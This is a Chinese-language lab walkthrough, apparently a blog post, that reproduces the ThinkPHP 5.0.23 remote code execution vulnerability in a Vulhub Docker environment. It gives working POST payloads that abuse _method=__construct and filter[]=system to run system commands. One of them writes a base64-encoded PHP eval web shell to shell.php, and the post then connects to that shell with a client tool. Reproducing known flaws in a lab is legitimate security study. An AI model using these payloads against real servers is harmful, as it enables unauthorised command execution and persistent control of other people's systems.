靶场环境
进入到/vulhub-master/thinkphp/5.0.23-rce 路径下 docker-compose up -d启动
![](https://i-blog.csdnimg.cn/blog_migrate/a750d78a21616b7544f05c2ad12c08b0.png)
漏洞复现
环境启动后,访问192.168.121.131:8080
![](https://i-blog.csdnimg.cn/blog_migrate/25373f388be6421ab5e6611dd7b1135b.png)
第一步:判断是否存在漏洞:
访问/index.php?s=captcha页面,会出现如下报错:
![](https://i-blog.csdnimg.cn/blog_migrate/dc6efa9400c7b7436f81efa930963f4e.png)
使用HackBar 插件发送 POST 请求:(使用burpsuit也可)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
![](https://i-blog.csdnimg.cn/blog_migrate/18b0655bd2e96750b9951ab7dcd8b4e4.png)
通过echo命令写入 Webshell 文件
首先将一句话木马进行Base64 编码:
![](https://i-blog.csdnimg.cn/blog_migrate/e022462af725eda9d9354232343b2d5d.png)
发送POST 请求:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/03673ae9f19e0da5f4583c59bbe5f109.png)
成功访问,说明shell上传成功
使用工具进行连接
![](https://i-blog.csdnimg.cn/blog_migrate/4a618ebfd374527b2918b05cbdcf43f6.png)
成功连接
![](https://i-blog.csdnimg.cn/blog_migrate/23e2a6279ff6a131cd0bc04d01eab1fe.png)